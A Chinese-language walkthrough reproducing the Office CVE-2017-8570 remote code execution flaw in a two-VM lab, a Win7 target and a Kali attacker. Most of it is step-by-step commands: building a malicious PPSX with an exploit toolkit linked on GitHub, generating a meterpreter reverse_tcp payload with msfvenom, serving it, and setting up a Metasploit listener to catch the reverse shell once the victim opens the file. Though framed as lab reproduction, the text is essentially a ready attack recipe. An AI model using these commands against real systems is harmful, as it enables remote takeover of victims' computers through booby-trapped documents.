Office CVE-2017-8570 远程代码执行漏洞复现


漏洞背景:

2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中一个编号为CVE-2017-8570的漏洞是一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此被称之为“沙虫”二代漏洞。2017年7月下旬,有国外黑客在github上传了CVE-2017-8570漏洞的利用代码,但随即删除;7月29日,有多利用该漏洞的恶意文件开始在互联网上传播。
该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化“Script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。

相关工具使用

本次漏洞复现需要用到VMware Workstation来搭建两个虚拟机,一个win7作为靶机(需要安装office PowerPoint 2016及以前的版本)和一个Kali作为攻击机(版本使用2.0),以及kali自带渗透工具MSF。
附上exp下载链接:https://github.com/tezukanice/Office8570.git


渗透流程

首先在kali中获取IP地址。使用命令”python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.237.129/logo.doc"在攻击机中生成包含恶意代码的PPSX文件。![](https://ws1.sinaimg.cn/large/006bMmGagy1furxdfbqu8j30qr0c9gq8.jpg)

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.237.129 LPORT=6666 -f exe > shell.exe在攻击机中生成反弹shell的exe文件,6666为攻击机的监听端口(端口可随意)。

监听来自ppsx执行反弹shell,使用命令:python cve-2017-8570_toolkit.py -M exp -e http://192.168.237.129/shell.exe -l shell.exe

开启msf,使用命令:msfconsole
分别使用如下命令设置监听:
~ msfconsole
msf > use exploit/multi/handler
msf > set LHOST 192.168.237.129
msf > set LPORT 6666
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > exploit
开启监听

最后将包含恶意代码的PPTX发送给靶机并在靶机上打开。
攻击成功

攻击成功后可以在靶机上执行各种shell命令,测试中我使用了md test,
效果如图:

至此漏洞复现完成